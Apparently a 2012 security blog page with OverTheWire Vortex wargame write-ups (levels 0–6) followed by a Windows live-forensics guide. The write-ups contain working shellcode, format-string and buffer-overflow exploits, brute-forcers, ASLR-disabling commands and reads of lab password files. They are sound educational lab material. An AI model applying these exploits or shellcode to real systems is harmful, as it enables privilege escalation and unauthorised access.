Late night thoughts on security: 2012

Thursday, September 20, 2012

OverTheWire Vortex Level 6

For this level, just the binary is available, not the source code. First, we'll download it and study it locally with gdb.

(gdb) set disassembly-flavor intel
(gdb) disassemble main 
Dump of assembler code for function main:
   0x08048446 <+0>: push   ebp
   0x08048447 <+1>: mov    ebp,esp
   0x08048449 <+3>: and    esp,0xfffffff0
   0x0804844c <+6>: sub    esp,0x10
   0x0804844f <+9>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048452 <+12>: mov    eax,DWORD PTR [eax]
   0x08048454 <+14>: test   eax,eax
   0x08048456 <+16>: je     0x8048465 
   0x08048458 <+18>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804845b <+21>: mov    eax,DWORD PTR [eax]
   0x0804845d <+23>: mov    DWORD PTR [esp],eax
   0x08048460 <+26>: call   0x8048424 <restart>
   0x08048465 <+31>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048468 <+34>: add    eax,0xc
   0x0804846b <+37>: mov    eax,DWORD PTR [eax]
   0x0804846d <+39>: mov    DWORD PTR [esp],eax
   0x08048470 <+42>: call   0x8048354 <printf@plt>
   0x08048475 <+47>: mov    DWORD PTR [esp],0x7325
   0x0804847c <+54>: call   0x8048334 <_exit@plt>
End of assembler dump.
(gdb) disassemble restart 
Dump of assembler code for function restart:
   0x08048424 <+0>: push   ebp
   0x08048425 <+1>: mov    ebp,esp
   0x08048427 <+3>: sub    esp,0x18
   0x0804842a <+6>: mov    DWORD PTR [esp+0x8],0x0
   0x08048432 <+14>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048435 <+17>: mov    DWORD PTR [esp+0x4],eax
   0x08048439 <+21>: mov    eax,DWORD PTR [ebp+0x8]
   0x0804843c <+24>: mov    DWORD PTR [esp],eax
   0x0804843f <+27>: call   0x8048344 @lt;execlp@plt>
   0x08048444 <+32>: leave  
   0x08048445 <+33>: ret    
End of assembler dump.
(gdb)

After the function prologue and aligning stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: (ebp+0x10) and (ebp+0x0c). This article explains basics about stack frames, and the next one details also the stack layout. The stack layout before calling the main function looks like this:

:    :
|    | [ebp + 16] (env - address of env array)
|    | [ebp + 12] (argv - address of argv array)
|    | [ebp + 8]  (argc - number of arguments passed to main)
|    | [ebp + 4]  (return address)
|    | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
:    :
:    :

We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp in our case) with inline assembly from C code compiled with GCC.

#include <stdio .h>

int main() {
    register int ebp asm("ebp");    
    
    char **env = *(char***)(ebp + 16);
    char **argv = *(char ***)(ebp + 12);
    int argc = *(int*)(ebp + 8);
    
    printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
    printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]); 
    printf("[EBP +  8] - Number of arguments (argc): %d\n", argc);
}

And the test wraper:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {

    char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
    char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};

    execve("./layout",arg,env);
}

So we have:

# gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap 
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP +  8] - Number of arguments (argc): 6
#

Based on that, we see that the vortex6 binary checks the first environment variable, and if it's not NULL executes restart function with argv[0] as parameter. We see that reconstruct() function calls execlp, with first2 arguments the value from **(ebp+8), and the third one NULL. When calling restart function, the stack looks like this:

:    :
|    | [ebp + 12] (2nd argument)
|    | [ebp + 8]  (1st argument)
| RA | [ebp + 4]  (return address)
| FP | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)

So wee see that at (ebp + 8) we have its first argument, which is in fact argv[0]. Basically the reconstructed function is:

void restart(char *s) {
    execlp(s,s,NULL);
}

After reconstructing the whole functionality, it's easy to exploit the binary using a simple python wrapper:

import subprocess

argv = ['/bin/sh']

p = subprocess.Popen(argv, executable = './vortex6.bin')        
p.wait()

And tada..

vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****

References:

x86 Disassembly/Functions and Stack Frames

Tuesday, September 18, 2012

OverTheWire Vortex Level 5

This level is a brute-force over a 5 chars MD5 hash. We get the hash from the source code - it is 155fb95d04287b757c996d77b5ea51f7, and with a quick search online, we get the corresponding plain text - rlTf6.
There are lots of online services to crack md5, and there's also Project RainbowCrack which uses the Time-Memory trade-off.
After getting the plain text we can get to the shell:

vortex5@melissa:/vortex$ ./vortex5 
Password: 
6:36
You got the right password, congrats!
$ cat /etc/vortex_pass/vortex6
*****

OverTheWire Vortex Level 4

This level looks like a simple 3 lines program. It's a common format string vulnerability (great references on how to exploit in [1], [3] and [5]):

int main(int argc, char **argv)
{
 if(argc) exit(0);
 printf(argv[3]);
 exit(EXIT_FAILURE);
}

1. First there's a check to bypass: the program exits if the argc variable is different than 0 (if(argc) exit(0);). argc variable represents the length of argv array, which has on the first position the program name (the name appearing on top and like utilities, for example). So argc is always >=1.
If we know how arguments (and environment variables) are passed to the main function when executing the binary, we can bypass the verification and also pass something meaningful to printf in argv[3] argument. The stack looks like this:

| argc | argv[0] | argv[1] ... |argv[argc-1]| NULL |env[0]|...|env[n]|NULL|

Where the first NULL indicates the end of the argv array, and the second one the end of the environment variables array. So if we pass NULL as the argv array, when the program tries to access argv[3], it will in fact access env[2], because the stack would look like this (argv[0] points to the NULL byte):

| 0 | NULL | env[0] | env[1] | env[2] | ...

In Python I couldn't call one of the exec functions with argv set to NULL, so I've used the classic method:

char exe[] = "/vortex/vortex4";

char* argv[] = { NULL }; 
char* env[] = {"env0", "env1", "TEST", NULL};

execve(exe, argv, env);

2. Now we know we have to pass the format string attack into an environment variable. We have to find out the approximate location of the environment variables in the memory. The vortex labs machine has ASLR disabled. We can test with and without ASLR to see the variation of the environment variables' address, using the following simple program:

/* 
 * Test program to find the location of envirnment variables on stack.
 *  - test with/without ASLR
 * 
 * To disable ASLR: 
 * echo 0 > /proc/sys/kernel/randomize_va_space
 * 
 * To enable ASLR:
 * echo 2 > /proc/sys/kernel/randomize_va_space
 * 
 */

#include <stdio .h>

extern char **environ;

/* Return the current stack pointer */
unsigned long find_esp(void){
 // Copy stack pointer into EAX
    __asm__("mov %esp, %eax");
    
    // Return value of the function is in EAX
}

int  main() {
 char **env = NULL;
 
    for (env = environ; *env; ++env)
        printf("%p:\t%s\n", env, *env);

    unsigned long p = find_esp(); 
    printf ("Current stack pointer: Ox%lx\n" , p) ;
        
    return 0;
}

3. We decide an address to overwrite to change the flow of the program. We can use the same trick as in the previous level: replace the address of exit() function in .plt (which is called at the end of the program), which we find by searching relocations sections in the binary:

vortex4@melissa:/vortex$ readelf -r ./vortex4
...
Relocation section '.rel.plt' at offset 0x294 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a004  00000207 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a008  00000307 R_386_JUMP_SLOT   00000000   printf
0804a00c  00000407 R_386_JUMP_SLOT   00000000   exit

4. Plan: place a shellcode (I've used the same 32 bytes I've used in the previous level, setuid+execve) in the environment variable, with a big NOP sled before (I've used 500 bytes). In the format string before, try to overwrite the address we found above, 0x0804a00c (which I've actually replaced in 4 bytes: 0x0804a00c, 0x0804a00d, 0x0804a00e, 0x0804a00f. A method to overwrite it with only 2 replaces instead of 4 is described in the referred documentation).
This was actually the harder part. I've made a python wrapper over the C wrapper containing execve instruction, that passes (and finally brute-forces) different format strings.
A good exercise is first to try to read memory (using %x or %s instead of %n for writing), to find the actual position of the format string on the stack. This will actually be quite different than the examples from [1]. I actually found that I needed 106 bytes to get to the format string on the stack.
A trick that can be used here: direct parameter access in printf ($), detailed in the Single Unix Specification ([4]). For me, I could access the format string with the following parameter:

fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"

I've adjusted it with fillers ('.'), and tuned the offset untl reach the correct one, 106.
The python script mentioned:

import subprocess

''' 
Script to pass the format string and address to be overwritten to
the vortex 4 wrapper binary
'''

# 4 bytes to be modified (address of exit() in .plt - 0x0804a00c)
addr =  "\x0c\xa0\x04\x08" + \
        "\x0d\xa0\x04\x08" + \
        "\x0e\xa0\x04\x08" + \
        "\x0f\xa0\x04\x08"

# Read it, after many trial and errors
#fmt = "AAAABBBBCCCCDDDD..." + "%106$x%107$x%108$x%109$x"

for i in range(1, 255):
        for j in range(1, 255):
                fmt = addr + "...." + \
                "%106$n%5$0" + str(i) + "d" + \
                "%107$n%5$0" + str(j) + "d" + \
                "%108$n" + \
                "%109$n"
                print "%d %d fmt: %s: " % (i, j, fmt)
                p = subprocess.Popen(['/tmp/myl4', fmt])
                
                p.wait()
                # Ctrl-D to continue

5. And the C wrapper with execve over vortex4 binary:

/*
 * Wrapper over vortex 4 binary: 
 *  - byapss first argc check
 *  - pass shellcode in environment variable
 *  - receive format string from python wrapper (.. easier) 
 */

#include <stdio .h>
#include <string .h>

/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" 
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" 
        "\x89\xe1\xcd\x80";

char padding[500];
char NOP = '\x90';
int nops = 500;

int main(int argc, char **args) {
 char exe[] = "/vortex/vortex4";
 char sh[600] = {0};
 
 // Fill with lots of NOPs to make sure we reach the shellcode
 memset(padding, NOP, nops);
 
 memcpy(sh, padding, nops);
 memcpy(sh+nops, shellcode, strlen(shellcode));
 
 // argc wil be 0, because argv[0] is not set
 char* argv[] = { NULL }; 
 char* env[] = {"env0", "env1", args[1], sh, NULL};

 execve(exe, argv, env);
 
 return 0;
}

6. Putting all together we get the pass:

vortex4@melissa:/tmp$ vim myl4.c
vortex4@melissa:/tmp$ vim myl4.py
vortex4@melissa:/tmp$ gcc -o myl4 myl4.c
vortex4@melissa:/tmp$ python myl4.py
...
202 33 fmt: 
���....%106$n%5$0202d%107$n%5$033d%108$n%109$n: 
$ id
uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4)
$ cat /etc/vortex_pass/vortex5
*****

Reading:

Exploiting Format String Vulnerabilities - version 1.2 (team teso)
Another solution and explanation
Great detailed explanation of format string vulnerabilities, stackoverflow
Format strings in printf - Single UNIX Specification
Advances in format string exploitation
My solution files

Friday, September 14, 2012

OverTheWire Vortex Level 3

As mentioned in the description, this level is a little bit tricky. We see that we'll put the shellcode in buf variable with strcpy and the shellcode will require a setuid (LEVEL4_UID), since bash drops effective privileges.

Test a setuid + execve shellcode

I've taken a shellcode that does this from here, and test it from a wrapper function:

/* 32 bytes setuid(0) + execve("/bin/sh",["/bin/sh",NULL]); */
char shellcode[] =
  "\x6a\x17"              // push $0x17
  "\x58"                  // pop  %eax
  "\x31\xdb"              // xor  %ebx, %ebx
  "\xcd\x80"              // int  $0x80

  "\x31\xd2"              // xor  %edx, %edx  
  "\x6a\x0b"              // push $0xb
  "\x58"                  // pop  %eax
  "\x52"                  // push %edx
  "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
  "\x89\xe3"              // mov  %esp, %ebx
  "\x52"                  // push %edx
  "\x53"                  // push %ebx
  "\x89\xe1"              // mov  %esp, %ecx
  "\xcd\x80";             // int  $0x80

int main() {
 int (*func)();
 func = (int (*)()) shellcode;
 (int)(*func)();

 return 0;
}

And to compile and test:

# gcc test_shell3.c -o test_shell
# ./test_shell 
sh-4.1#

Bypass StackGuard
The article from [2] describes a bypass method for a situation similar with our code. The idea is that by overflowing buf, we can modify lpp, and with this code ( **lpp = (unsigned long) &buf;) we can place the beginning of the buffer in an address referred to by an address we can control - there's a double indirection.
Let's try to modify the flow with this method, by changing the destructor function, called in the last line of code (exit(0);). To find the address of the destructors:

vortex3@melissa:/vortex$ objdump -s -j .dtors vortex3

vortex3:     file format elf32-i386

Contents of section .dtors:
 804953c ffffffff 00000000                    ........

As described in [1], the layout of the destructors section is as follows:
0xffffffff <function address> <another function address> ... 0x00000000

So we will change the address of the first function to be called (0x08049540). We need an address to put in the lpp pointer, and that address to point to 0x08049540:

$ gdb vortex3
(gdb) set disassembly-flavor intel
(gdb) disassemble __do_global_dtors_aux 
Dump of assembler code for function __do_global_dtors_aux:
...
   0x08048360 <+16>: mov    eax,ds:0x8049644
   0x08048365 <+21>: mov    ebx,0x8049540
   0x0804836a <+26>: sub    ebx,0x804953c
...
(gdb) x/x 0x08048366
0x8048366 <__do_global_dtors_aux>: 0x08049540

We find 0x08048366, that points to 08049540 (first destructor function). If we manage to place 0x08048366 in the lpp pointer (by overflowing buf), the double indirection in **lpp = (unsigned long) &buf; line will add the code in buf variable to be executed as a destructor.

Find lpp offset
We'll build the vortex3 source code locally, with added prints to track lpp value after overflowing buf. To reproduce the environment in the vortex labs, we need to disable ASLR (Address Space Layout Randomization) and compile without stack protector:

# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -fno-stack-protector -U_FORTIFY_SOURCE vortex3.c -o vortex3
#

From a Python wrapper, we'll pass the previous shellcode and watch if we set correctly lpp variable after strcpy:

import sys

shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
        "\x89\xe1\xcd\x80"

NOP = "\x90"

if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
    else:
        addr = "\x41\x42\x43\x44"

    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode))  + addr

And we see we can control lpp:

# ./vortex3 `python L3.py`
lpp before: 0x804a024
lpp after: 0x44434241

For the vortex3 binary on vortex labs, there will be a difference (of 4 bytes) on the length of NOP sled needed. That's because the position of lpp variable on the stack differs by 4 bytes.
On vortex labs:

(gdb) disas main
Dump of assembler code for function main:
   0x080483d4 <+0>: push   ebp
   0x080483d5 <+1>: mov    ebp,esp
   0x080483d7 <+3>: and    esp,0xfffffff0
   0x080483da <+6>: sub    esp,0xa0
   0x080483e0 <+12>: mov    DWORD PTR [esp+0x9c],0x804963c
   ...
(gdb) x/x 0x804963c
0x804963c <lp>: 0x08049638

And locally:

(gdb) disassemble main
Dump of assembler code for function main:
   0x08048484 <+0>: push   ebp
   0x08048485 <+1>: mov    ebp,esp
   0x08048487 <+3>: and    esp,0xfffffff0
   0x0804848a <+6>: sub    esp,0xa0
   0x08048490 <+12>: mov    DWORD PTR [esp+0x98],0x804a024
   ...
(gdb) x/x 0x804a024
0x804a024 <lp>: 0x0804a020

So, on the vortex labs machine we'll create the python wrapper file in tmp folder, taking into account the NOP sled difference:

import sys

shellcode = "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xd2\x6a\x0b\x58\x52" + \
        "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + \
        "\x89\xe1\xcd\x80"

NOP = "\x90"

if __name__=="__main__":
    if len(sys.argv) > 1 :
        addr = sys.argv[1]
    else:
        addr = "\x41\x42\x43\x44"

    # number of NOP needed to overflow exactly the lpp variable
    # may be different than this one for vortex labs binary 
    print shellcode + NOP * (128-len(shellcode) + 4)  + addr

But, when trying to exploit, we get a segmentation fault:

$ ./vortex3 `python /tmp/myv3.py`
Segmentation fault

That may be because of the subtle reason mentioned on the level description (ctors/dtors might no longer be writable). (Older solutions present online worked because the level was compiled with another gcc version, and overwriting .dtors as suggested in the reading was possible). Anyway, the author gives the suggestion for solving this: "an intelligent bruteforce".

Python brute-forcer
We will only brute force a small part of the address space (16 bytes), because the first 2 bytes of lpp we already know that must be 0x0804. With the following python wrapper we'll generate payloads and pass them to vortex3 binary until we find a shell. The p.wait() function stops and wait until the program finish executing (in our case the new shell).

import subprocess

# shellcode generating  script
script = "/tmp/myv3.py"

#found good addr = "\x8c\x92\x04\x08"

# Brute force the second part of the address space
for i in range (1, 256):
    for j in range (1, 256):
        addr = "%c%c\x04\x08" % (chr(i), chr (j))
        print "Trying addr: ", "".join('\\x%02x' % ord(c) for c in addr)
        
        # payload = shellcode + addr 
        # payload = `python /tmp/myv3.py "\x41\x42\x43\x44"`
        payload = subprocess.check_output(["python", script, addr])

        # pipe = os.popen("cmd", 'r', bufsize)
        p = subprocess.Popen(['/vortex/vortex3', payload])
        
        # block for successful shell
        p.wait()

(Note: i and j variables go from 1, not from 0, because 0 is the null character and is not accepted in a shell command, and thus not accepted by the check_output() function which executes a command.)
The result:

vortex3@melissa:~$ python /tmp/wrapv3.py
...
Trying addr:  \x8c\x91\x04\x08
Trying addr:  \x8c\x92\x04\x08
$ id
uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
*******
$

So we got a correct address that, when put into lpp, runs our shellcode - \x08\x04\x92\x8c. To understand what happened, we check the address in gdb:

$ gdb /vortex/vortex3 
(gdb) break main
Breakpoint 1 at 0x80483d7
(gdb) run
Starting program: /vortex/vortex3 

Breakpoint 1, 0x080483d7 in main ()
(gdb) x/x 0x0804928c
0x804928c: 0x0804962c
(gdb) x/x 0x0804962c
0x804962c <_global_offset_table_>: 0x0804830a
(gdb) x/x 0x0804830a
0x804830a <exit@plt+6>: 0x00001868
(gdb)

So we've actually overwritten the exit function in the .plt section.
This was a nice exercise, at least:)

The scripts mentioned are available here.

Reading material:

Overwriting the .dtors section - Juan M. Bello Rivas
Bypassing StackGuard and StackShield
Another solution

Tuesday, September 11, 2012

OverTheWire Vortex Level 2

The binary from level 2 creates a 'special file', one whose name contains '$$': ownership.$$.tar. As detailed in the bash manual, the $ variable "Expands to the process ID of the shell. In a () subshell, it expands to the process ID of the invoking shell, not the subshell.".
This binary file has permissions to read the password file from the next level, so what we have to do is archive the password file, and then read it, taking into account the special file name.

First, to create the archive:

vortex2@melissa:/etc/vortex_pass$ /vortex/vortex2 vortex3 vortex3 vortex3
vortex2@melissa:/etc/vortex_pass$ ls -alh '/tmp/ownership.$$.tar'
-rw-r--r-- 1 vortex3 vortex2 10K 2012-09-06 23:19 /tmp/ownership.$$.tar

File create. Now to untar and read the content:

Method 1)

We cannot untar it there, so the -O (output to STDOUT) option is very useful :

vortex2@melissa:/etc/vortex_pass$ tar xf '/tmp/ownership.$$.tar' -O
*****

Method 2)

We could copy it locally with scp and untar it. I had a little problem with the file name passed forward by scp, which can be seen and adapted with verbose mode, then check the transmitted file name and adjust it:

scp -v vortex2@vortex.labs.overthewire.org:'test$$' .
...
debug1: Sending command: scp -v -f test$$
scp: test415: No such file or directory
...

We see that $$ is transmitted, and will be interpreted, so it should be correctly escaped. Copy archive locally:

# scp vortex2@vortex.labs.overthewire.org:'/tmp/ownership.\$\$.tar' .

Method 3)

tar command from the binary does not use compression, so the content of the archive can be viewed:

vortex2@melissa:/etc/vortex_pass$ cat '/tmp/ownership.$$.tar'
...

OverTheWire Vortex Level 1

The level can be found here. After analyzing the C source code, we get the flow and information needed to exploit:

There's a 512 bytes buffer and a pointer ptr that initially points in the middle
For every '\' character read, the pointer is decremented
For every character read (different than '\n' and '\') we have the possibility to set a byte in ptr (ptr++[0] = x;)
The e() macro spawns an interactive bash shell (-i parameter) and also replaces the image of the current process with /bin/sh, through execlp function. Important to remember, from here: "By default, file descriptors remain open across an execve()".
The condition to trigger shell execution can be easily accomplished, given 3.

Taken these into account, we try to launch a shell and execute a command:

$ python -c 'print "\\"*257 + "\xca" + "A" + "\nwhoami"' | ./vortex1
$

The shell exits immediately, without executing the command. Now it's time to check what happens, how bash handles EOF.

Method 1)

Detailed on this post. The idea is that when execlp is executed, the image of the current process is replaced with /bin/sh. But execlp doesn't clear STDIN. So the unparsed input it's still be there. The shell is exiting immediately, because it receives an EOF. To overcome this, something in the bash manual comes to help: "When invoked as an interactive shell with the name sh, bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute".
So we create a new file containing our commands, set the ENV variable before and get the password:

$ vi /tmp/cmd2
cat /etc/vortex_pass/vortex2

$ python -c 'print "\\"*257 + "\xca" + "A"' | env ENV=/tmp/cmd2 /vortex/vortex1
******

Method 2)

Some solutions report that a long string before the command causes the command to be actually executed, without an apparent explanation. Like this:

$ python -c 'print  "\\"*0x101+"\xcaA\n"+"A"*4000+"\nwhoami\ncat /etc/vortex_pass/vortex2"' |/vortex/vortex1
$ sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found
$ vortex2
$ ******
$

To understand this, the following article explains the buffering applied to standard streams, with an example with two processes forked by bash with a pipe between them: $ command1 | command2, similar with our case. The idea is that the kernel uses 4096 bytes circular buffers (for stdin, stdout, and pipe). Being circular, the 4000 characters together with the existent content fill the buffer, and the next part of input does not contain an EOF and commands are executed. Actually, instead of the 4000 "A"s, we just need 4096-257-2-1=3836 extra characters.

$ python -c 'print  "\\"*0x101+"\xcaA\n"+"A"*3836+"\nwhoami\ncat /etc/vortex_pass/vortex2"' |/vortex/vortex1
$ $ vortex2
$ ******
$

Monday, September 10, 2012

OverTheWire Vortex Level 0

It's a very easy warm up level, and can be found here. It's a small socket programming problem: a server sends 4 consecutive unsigned integers, little endian, and you have to reply with their sum to get the password for the next level.
In python, the solution is very straightforward:

import socket
import struct

def solve():
    host = "vortex.labs.overthewire.org"
    port = 5842
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect((host, port))
    
    sum = 0
    for i in range(0,4):
        data = s.recv(4)
        num,  = struct.unpack("<I", data)
        sum += num
    print "Sum: %u" % (sum)
    
    s.send(struct.pack("<I",(sum & 0xFFFFFFFF)))
    level1 =  s.recv(1024)
    print level1

    s.close()
        
if __name__=="__main__":        
    solve()

So:

# python L0.py 
Sum: 3188809347
Username: vortex1 Password: *******

Saturday, August 4, 2012

(Windows) Forensics Live Response

LyX Document

Classic forensic examinations deal only with static magnetic media (hard drives, external memories, disks) from a computer system that has been seized in a shut down state. Live forensics, conducted on a compromised system, in a computer security incident response scenario, is more demanding. Many transitory events on a running system, such as open network connections, running processes, encrypted drives content, may constitute critical evidence about the compromise that needs to be appropriately preserved. Volatile data from live systems must be safely acquired, because analysing static file system structures from magnetic media is not sufficient.

Any live system being examined should be considered hostile. It has been demonstrated many times (Darren Bilby [Anti-forensic Rootkits] and Bill Blunden [Anti-Forensics: The Rootkit Connection]) that kernel level rootkits can intercept the calls for reading the physical memory and the hard disk, hide what is to be hidden and still serve valid data. There are special circumstances that need to be considered in these cases such as: a) the presence of the intruder on the system, b) possible ”booby traps”, c) involvement of law enforcement. Protection of the evidence is paramount. Prior to carrying out a live forensic examination, the following should be considered:

Avoiding GUI (graphical user interface) tools. CLI (Command-line interface) utilities, and in particular, statically linked binary files, are better, because they are more likely to leave little or no footprint on the evidence system and also are more trusted if no host system dynamic libraries are used. CLI tools are easier to use from a trusted command shell.

Tools should be validated. If free or open source tools are used, instead of recognized commercial ones, they should by validated and recognized by the forensic community. Tools should be obtained from trusted sources and their actions verified. This supports not only the evidence acquired and the credibility of the investigator, should he be called upon in court to validate the processes followed and tools used. A list of checksums for all the tools should be kept the with the toolkit.

Tools should be kept on a write protected removable media, that contains a trusted operating system (e.g. a live forensic distribution like Helix, that has also a free slightly older version
1

http://mirrors.cmich.edu/helix/

)

Documentation of exactly what is done and when it is done during every step of an investigation is extremely important. A testimony may take place a year or more later and the more comprehensive the notes are, the easier it will be to provide accurate and less refutable testimony. There are good tools to assist with the documentation. One free program is CaseNotes
2

http://qccis.com/resources/forensic-tools/casenotes-lite/

, that supports MD5 hashes, encryption and full audit-trail. Helix 2008R1 has the option to save a log of all the actions after exiting the GUI interface.

Data acquisition in these cases requires a methodical process, that follows the level of volatility of information. The processes and tools involved in collecting and analysing volatile data are thoroughly described in [Harlan Carvey - Windows Forensic Analysis]. Many of the tools described below could be (some are already) incorporated into automated live incidence response kits or live disks (e.g. COFEE

http://www.microsoft.com/industry/government/solutions/cofee/default.aspx

or Helix Live Response), or simply some automated scripts can be build to run them and pipe the output. All the tools discussed are provided in the attached support. The order in which information needs to be acquired during forensic processing is as follows:

1 System date/time and timezone information

Very important piece of information when correlating attacks on different machines and when examining time-based log files. The BIOS time should be noted first. Then the OS time and zone info. In Windows, lots of zone information can be extracted from the registry

http://www.windowsitpro.com/article/windows-2000/where-do-windows-2000-and-windows-nt-store-time-zone-information-

, or programatically using windows time related API

http://msdn.microsoft.com/en-us/library/windows/desktop/ms725473(v=vs.85).aspx

2 Memory

Nigilant32

http://www.agileriskmanagement.com/

is a free GUI tool to dump the content of physical memory.

Figure 1.1: Image Physical Memory in Nigilant32 beta

ProDiscover

http://www.techpathways.com/prodiscoverdft.htm

is another tool dedicated to incident response, with memory imaging capabilities. Additionally, it can also extract the BIOS. A basic demo version is available

http://www.techpathways.com/demo.htm

Figure 1.2: Capture Image options in ProDiscover 7.2

KntDD

http://www.gmgsystemsinc.com/knttools/

is a tool that overcomes a problem in the previous programs: Since Windows 2003 SP1, access to \Device\PhysicalMemory object has been restricted from user mode

http://technet.microsoft.com/en-us/library/cc787565.aspx

to help prevent security exploits that might leverage this functionality from user-mode. Only kernel drivers are allowed to access this object. The KntDD utility is available only for private sale and is capable to do just this.

MDD

http://sourceforge.net/projects/mdd/

is a simple CLI tool that allows RAM dumping. It's output is raw, dd-style. It has a 4GB limitation, and some known issues

http://www.forensicswiki.org/wiki/Mdd

c:\>mdd -o E:\mem.img -v

. . .

-> Dumping 2813.10 MB of physical memory to file 'E:\mem.img'

-> WARNING: Failed to map at offset 00000000 00004000! 487

. . .

Once dumping is complete, mdd displays an MD5 checksum for the resultant dump file, that is used to ensure the integrity of the memory dump file later, and the error log:

720131 map operations succeeded (1.00)

22 map operations failed

took 78 seconds to write

MD5 is: b5732bd5f46ef30276c521617078e6c6

Win32DD (from Moonsols Windows Memory Kit)

http://www.moonsols.com/windows-memory-toolkit/

is a tool developed by Matthieu Suiche that can parse different types of files: crash dumps, windows hibernation files and VMWare memory snapshots.

Memoryze

http://www.mandiant.com/resources/download/memoryze

is another tool capable of dumping physical memory. The collection process of memory data can be started from MemoryDD.bat script. A great article explains

http://computer-forensics.sans.org/blog/2010/11/08/digital-forensics-howto-memory-analysis-mandiant-memoryze/

everything, from the installation on a removable media to acquiring memory images and analysing live memory.

FastDump

http://www.hbgary.com/free-tools

is a memory dumping utility from HBGary with a very small memory footprint and all code statically linked, no shared DLL libraries. It has a free version with some limitations (only for 32-bit systems, with no more than 4GB of RAM).

F-Response

http://www.f-response.com

is an acquisition framework, tool independent, that uses the iSCSI protocol for raw read-only disc access over the network. It allows mounting a remote drive to be seen as a local disk, and then any of the previous mentioned tools could be used (dd, FTK, ...). It also provides remote access to physical memory.

FAU (Forensic Acquisition Utilies)

http://gmgsystemsinc.com/fau/

is a set of tools developed by George M. Garner which contains a reliable port of Linux dd utility (the suite also contains a data wiper and a volume information dumper, very useful for NTFS volumes).

3 Current network state

One of the reasons why it's important to save the network state before shutting down the system is that an attacker may be connected to the system, or some previously installed malware is communicating with the master server. Capturing network related information may help later to build a time-line or to obtain further evidence (requesting logs related to network conversations from other nodes, ISPs).

On Windows machines, netstat -b -a displays all the network connections and their state (listening or established) and also the programs involved in opening the sockets. This option to display the processes involved exists on Linux and Unix system, but it differs between various flavours of operating systems, and for some it is not present by default. Every line in the netstat output must be analysed. On Windows, the FPort

http://www.mcafee.com/us/downloads/free-tools/fport.aspx

tool from McAfee can be used to identify unknown ports and their applications (outputs the same information as netstat -an plus also shows the corresponding application. It's a lot faster than -b flag of netstat).

Another important thing to check is the routing table. An attacker could have altered the routing table to redirect the traffic through a sniffing point, or just use another route to avoid security control devices like firewalls. The routing information can be obtained using netstat -rn command. An identical response should be obtained with route print command. If not, one of the two executables may have been replaced with rogue version (software level rootkit).

4 Processes

5 Logged on user information gathering

Logged on users

To view the currently logged on users and their login date and time, and the users accessing remote shares, the tool PsLoggedOn from SysInternals' PsTools package is safe and simple to use. In case we see remote users accessing shares, their IP is not displayed, but we know that a remotely connected user must use a NetBIOS port. For Windows XP it's 445 (for older versions of Windows it was 139). So correlating these information, we can get the full picture about who is logged on, since when and from where.

C:\>psloggedon

Users logged on locally:
6/23/2012 12:47:10 PM LAPTOP\liviu

Users logged on via resource shares:

6/23/2012 2:41:47 PM LAPTOP\LIVIU

6/23/2012 2:42:59 PM LAPTOP\ADMINISTRATOR

Here we see the local user. The same user is accessing a network share. There is also a connection with administrator privileges. The administrator user is accessing a network share, through the PsExec with the -s flag tool (which spawns PSEXECSVC service on target machine):

C:\>psexec \\laptop -u administrator -p XXX net use \\laptop\kit

To verify the network connections, we simply search for NetBIOS ports. The following listing confirms the listening and established connections:

C:\>netstat -a -n| grep -E ”445|139”

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 127.0.0.1:445 127.0.0.1:2194 ESTABLISHED

